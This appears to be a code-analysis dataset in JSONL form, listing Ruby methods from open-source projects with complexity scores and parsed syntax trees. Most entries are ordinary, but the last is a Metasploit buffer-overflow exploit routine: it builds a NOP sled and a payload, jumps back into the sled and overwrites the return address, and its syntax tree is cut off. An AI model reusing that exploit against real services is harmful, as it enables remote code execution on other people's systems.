{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/concerns/timeout_filter_handler.rb","start_line":34,"raw_source":"def call\n          return super if Gitlab::RenderTimeout.banzai_timeout_disabled?\n\n          Gitlab::RenderTimeout.timeout(foreground: render_timeout, background: render_timeout) { super }\n        rescue Timeout::Error => e\n          class_name = self.class.name.demodulize\n          Gitlab::ErrorTracking.track_exception(e, project_id: context[:project]&.id, group_id: context[:group]&.id,\n            class_name: class_name)\n\n          # we've timed out, but some work may have already been completed,\n          # so return what we can\n          returned_timeout_value\n        end","complexity_score":26.3,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"RenderTimeout\"]},\"banzai_timeout_disabled?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"RenderTimeout\"]},\"timeout\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreground\"]},{\"type\":\"send\",\"children\":[null,\"render_timeout\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"background\"]},{\"type\":\"send\",\"children\":[null,\"render_timeout\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"zsuper\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"Error\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"class_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]},\"demodulize\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group\"]}]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"lvar\",\"children\":[\"class_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"returned_timeout_value\"]}]}]},null]}]}","id":"01785881-e0f2-4d8a-8e8e-3934e3ccbf03"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_inside_reference_brackets.rb","start_line":137,"raw_source":"def empty_config\n          cop_config['EnforcedStyleForEmptyBrackets']\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"empty_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EnforcedStyleForEmptyBrackets\"]}]}]}","id":"de51c10a-9c85-4d53-89df-de465dff65ed"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/generate_perf_testdata.rb","start_line":15,"raw_source":"def initialize\n        raise ArgumentError, \"Please provide GITLAB_ADDRESS\" unless ENV['GITLAB_ADDRESS']\n        raise ArgumentError, \"Please provide GITLAB_QA_ACCESS_TOKEN\" unless ENV['GITLAB_QA_ACCESS_TOKEN']\n\n        @api_client = Runtime::API::Client.new(ENV['GITLAB_ADDRESS'], personal_access_token: ENV['GITLAB_QA_ACCESS_TOKEN'])\n        @group_name = ENV['GROUP_NAME'] || \"gitlab-qa-perf-sandbox-#{SecureRandom.hex(8)}\"\n        @project_name = ENV['PROJECT_NAME'] || \"my-test-project-#{SecureRandom.hex(8)}\"\n        @visibility = \"public\"\n        @urls = { host: ENV['GITLAB_ADDRESS'] }\n      end","complexity_score":22.65,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_ADDRESS\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Please provide GITLAB_ADDRESS\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_QA_ACCESS_TOKEN\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Please provide GITLAB_QA_ACCESS_TOKEN\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@api_client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"API\"]},\"Client\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_ADDRESS\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"personal_access_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_QA_ACCESS_TOKEN\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@group_name\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GROUP_NAME\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"gitlab-qa-perf-sandbox-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[8]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@project_name\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PROJECT_NAME\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"my-test-project-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[8]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@visibility\",{\"type\":\"str\",\"children\":[\"public\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@urls\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_ADDRESS\"]}]}]}]}]}]}]}","id":"3fb2a415-5dde-4c98-a8f7-bb75e0f73d35"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20131022045114_add_uncategorized_category.rb","start_line":4,"raw_source":"def up\n    result = execute \"SELECT 1 FROM categories WHERE lower(name) = 'uncategorized'\"\n    name = +\"Uncategorized\"\n    name << SecureRandom.hex if result.count > 0\n\n    result =\n      execute \"INSERT INTO categories\n            (name,color,slug,description,text_color, user_id, created_at, updated_at, position)\n     VALUES ('#{name}', '0088CC', 'uncategorized', '', 'FFFFFF', -1, now(), now(), 0 )\n     RETURNING id\n    \"\n    category_id = result[0][\"id\"].to_i\n\n    execute \"INSERT INTO site_settings(name, data_type, value, created_at, updated_at)\n             VALUES ('uncategorized_category_id', 3, #{category_id}, now(), now())\"\n\n    execute \"DELETE from site_settings where name in ('uncategorized_name', 'uncategorized_text_color', 'uncategorized_color')\"\n\n    execute \"UPDATE topics SET category_id = #{category_id} WHERE archetype = 'regular' AND category_id IS NULL\"\n\n    execute \"ALTER table topics ADD CONSTRAINT has_category_id CHECK (category_id IS NOT NULL OR archetype <> 'regular')\"\n  end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"SELECT 1 FROM categories WHERE lower(name) = 'uncategorized'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Uncategorized\"]},\"+@\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO categories\\n\"]},{\"type\":\"str\",\"children\":[\"            (name,color,slug,description,text_color, user_id, created_at, updated_at, position)\\n\"]},{\"type\":\"str\",\"children\":[\"     VALUES ('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"', '0088CC', 'uncategorized', '', 'FFFFFF', -1, now(), now(), 0 )\\n\"]},{\"type\":\"str\",\"children\":[\"     RETURNING id\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"category_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO site_settings(name, data_type, value, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"             VALUES ('uncategorized_category_id', 3, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_id\"]}]},{\"type\":\"str\",\"children\":[\", now(), now())\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DELETE from site_settings where name in ('uncategorized_name', 'uncategorized_text_color', 'uncategorized_color')\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE topics SET category_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_id\"]}]},{\"type\":\"str\",\"children\":[\" WHERE archetype = 'regular' AND category_id IS NULL\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"ALTER table topics ADD CONSTRAINT has_category_id CHECK (category_id IS NOT NULL OR archetype <> 'regular')\"]}]}]}]}","id":"2ab974c1-9d89-4e55-b763-172ab8ba1cfd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/ui.rb","start_line":138,"raw_source":"def set_desktop( session=-1, station='WinSta0', name='Default', switch=false )\n    request  = Packet.create_request( COMMAND_ID_STDAPI_UI_DESKTOP_SET )\n    request.add_tlv( TLV_TYPE_DESKTOP_SESSION, session )\n    request.add_tlv( TLV_TYPE_DESKTOP_STATION, station )\n    request.add_tlv( TLV_TYPE_DESKTOP_NAME, name )\n    request.add_tlv( TLV_TYPE_DESKTOP_SWITCH, switch )\n    response = client.send_request( request )\n    if( response.result == 0 )\n      return true\n    end\n    return false\n  end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_desktop\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"session\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"optarg\",\"children\":[\"station\",{\"type\":\"str\",\"children\":[\"WinSta0\"]}]},{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"str\",\"children\":[\"Default\"]}]},{\"type\":\"optarg\",\"children\":[\"switch\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_STDAPI_UI_DESKTOP_SET\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_DESKTOP_SESSION\"]},{\"type\":\"lvar\",\"children\":[\"session\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_DESKTOP_STATION\"]},{\"type\":\"lvar\",\"children\":[\"station\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_DESKTOP_NAME\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_DESKTOP_SWITCH\"]},{\"type\":\"lvar\",\"children\":[\"switch\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"result\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}","id":"ff238bb2-356b-43e9-a01d-33c6fcbe2338"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20160905082217_create_web_hook_event_types.rb","start_line":4,"raw_source":"def change\n    create_table :web_hook_event_types do |t|\n      t.string :name, null: false\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"web_hook_event_types\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"73d3855c-a227-437f-ba71-e407471cd006"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20200320193612_back_fill_topic_timer_durations.rb","start_line":4,"raw_source":"def up\n    DB.exec <<~SQL\n      UPDATE topic_timers\n      SET duration = 0\n      WHERE duration IS NULL AND (execute_at IS NULL OR created_at IS NULL)\n    SQL\n\n    DB.exec <<~SQL\n      UPDATE topic_timers\n      SET duration = EXTRACT(EPOCH FROM execute_at - created_at) / 3600\n      WHERE duration IS NULL AND execute_at IS NOT NULL AND created_at IS NOT NULL\n    SQL\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE topic_timers\\n\"]},{\"type\":\"str\",\"children\":[\"SET duration = 0\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE duration IS NULL AND (execute_at IS NULL OR created_at IS NULL)\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE topic_timers\\n\"]},{\"type\":\"str\",\"children\":[\"SET duration = EXTRACT(EPOCH FROM execute_at - created_at) / 3600\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE duration IS NULL AND execute_at IS NOT NULL AND created_at IS NOT NULL\\n\"]}]}]}]}]}","id":"f5e10a56-a1f4-42eb-9487-160a43e3b527"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/middleware/enforce_hostname.rb","start_line":9,"raw_source":"def call(env)\n      # enforces hostname to match the hostname of our connection\n      # this middleware lives after rails multisite so at this point\n      # Discourse.current_hostname MUST be canonical, enforce it so\n      # all Rails helpers are guaranteed to use it unconditionally and\n      # never generate incorrect links\n      env[Rack::Request::HTTP_X_FORWARDED_HOST] = nil\n\n      allowed_hostnames = RailsMultisite::ConnectionManagement.current_db_hostnames\n      requested_hostname = env[Rack::HTTP_HOST]\n\n      env[Rack::HTTP_HOST] = allowed_hostnames.find { |h| h == requested_hostname } ||\n        Discourse.current_hostname_with_port\n\n      @app.call(env)\n    end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Request\"]},\"HTTP_X_FORWARDED_HOST\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"allowed_hostnames\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RailsMultisite\"]},\"ConnectionManagement\"]},\"current_db_hostnames\"]}]},{\"type\":\"lvasgn\",\"children\":[\"requested_hostname\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"HTTP_HOST\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"HTTP_HOST\"]},{\"type\":\"or\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_hostnames\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"requested_hostname\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"current_hostname_with_port\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}","id":"d54204aa-027a-434e-a97b-73a2876d1aab"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/normalized_has_many_test.rb","start_line":109,"raw_source":"def test_fetching_the_association_should_fetch_each_record_by_id\n    assert_equal([@baz, @bar], @record.fetch_associated_records)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetching_the_association_should_fetch_each_record_by_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@baz\"]},{\"type\":\"ivar\",\"children\":[\"@bar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"fetch_associated_records\"]}]}]}","id":"bf630d81-b157-4a73-9672-b8135d98cf1e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-schema-validation/lib/gitlab/schema/validation/inconsistency.rb","start_line":30,"raw_source":"def table_name\n          structure_sql_object&.table_name || database_object&.table_name\n        end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"table_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"structure_sql_object\"]},\"table_name\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"database_object\"]},\"table_name\"]}]}]}","id":"8cdf0c35-c22f-474a-aa31-74384a31d87c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/metrics/measure/base_measure.rb","start_line":104,"raw_source":"def canonicalized_params\n    params.to_h.to_a.sort_by { |k, _v| k.to_s }.map { |k, v| \"#{k}=#{v}\" }.join(';')\n  end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"canonicalized_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"to_h\"]},\"to_a\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"_v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_s\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\";\"]}]}]}","id":"f4e44484-0d60-476c-8161-c259090027b9"}
{"repo_name":"rack","file_path":"./repos/rack/test/spec_headers.rb","start_line":99,"raw_source":"def test_delete\n    assert_equal 3, @fh.length\n    assert_equal '1', @fh.delete('aB')\n    assert_equal 2, @fh.length\n    assert_nil @fh.delete('Ab')\n    assert_equal 2, @fh.length\n  end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_delete\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"delete\",{\"type\":\"str\",\"children\":[\"aB\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"delete\",{\"type\":\"str\",\"children\":[\"Ab\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fh\"]},\"length\"]}]}]}]}","id":"9bd00b69-b51b-4cb9-b5a6-abf5f450ef4b"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/layout_test.rb","start_line":129,"raw_source":"def hello\n    prepend_view_path File.expand_path(\"../../fixtures/actionpack/layout_tests/alt\", __dir__)\n    render layout: \"alt\"\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"hello\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prepend_view_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../../fixtures/actionpack/layout_tests/alt\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"str\",\"children\":[\"alt\"]}]}]}]}]}]}","id":"71ef3926-f2bc-4276-bfe0-050829ea26c2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/ib_svc_attach.rb","start_line":111,"raw_source":"def exploit_target(target)\n    target['Length'].each do |length|\n      connect\n\n      # Service attach\n      op_service_attach = 82\n\n      remainder = length.remainder(4)\n      padding = 0\n\n      if remainder > 0\n        padding = (4 - remainder)\n      end\n\n      buf = ''\n\n      # Operation/packet type\n      buf << [op_service_attach].pack('N')\n\n      # Id\n      buf << [0].pack('N')\n\n      # Length\n      buf << [length].pack('N')\n\n      # Nop block\n      buf << make_nops(length - payload.encoded.length - 13)\n\n      # Payload\n      buf << payload.encoded\n\n      # Jump back into the nop block\n      buf << \"\\xe9\" + [-1028].pack('V')\n\n      # Jump back\n      buf << \"\\xeb\" + [-7].pack('c')\n\n      # Random alpha data\n      buf << rand_text_alpha(2)\n\n      # Target\n      buf << [target.ret].pack('V')\n\n      # Padding\n      buf << \"\\x00\" * padding\n\n      # Database parameter block\n\n      # Length\n      buf << [1024].pack('N')\n\n      # Random alpha data\n      buf << rand_text_alpha(1024)\n\n      sock.put(buf)\n\n      select(nil, nil, nil, 4)\n\n      handler\n    end\n  end","complexity_score":71.93,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit_target\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Length\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"length\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[-7]}]},\"pack\",{\"type\":\"str\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"padding\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1024]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\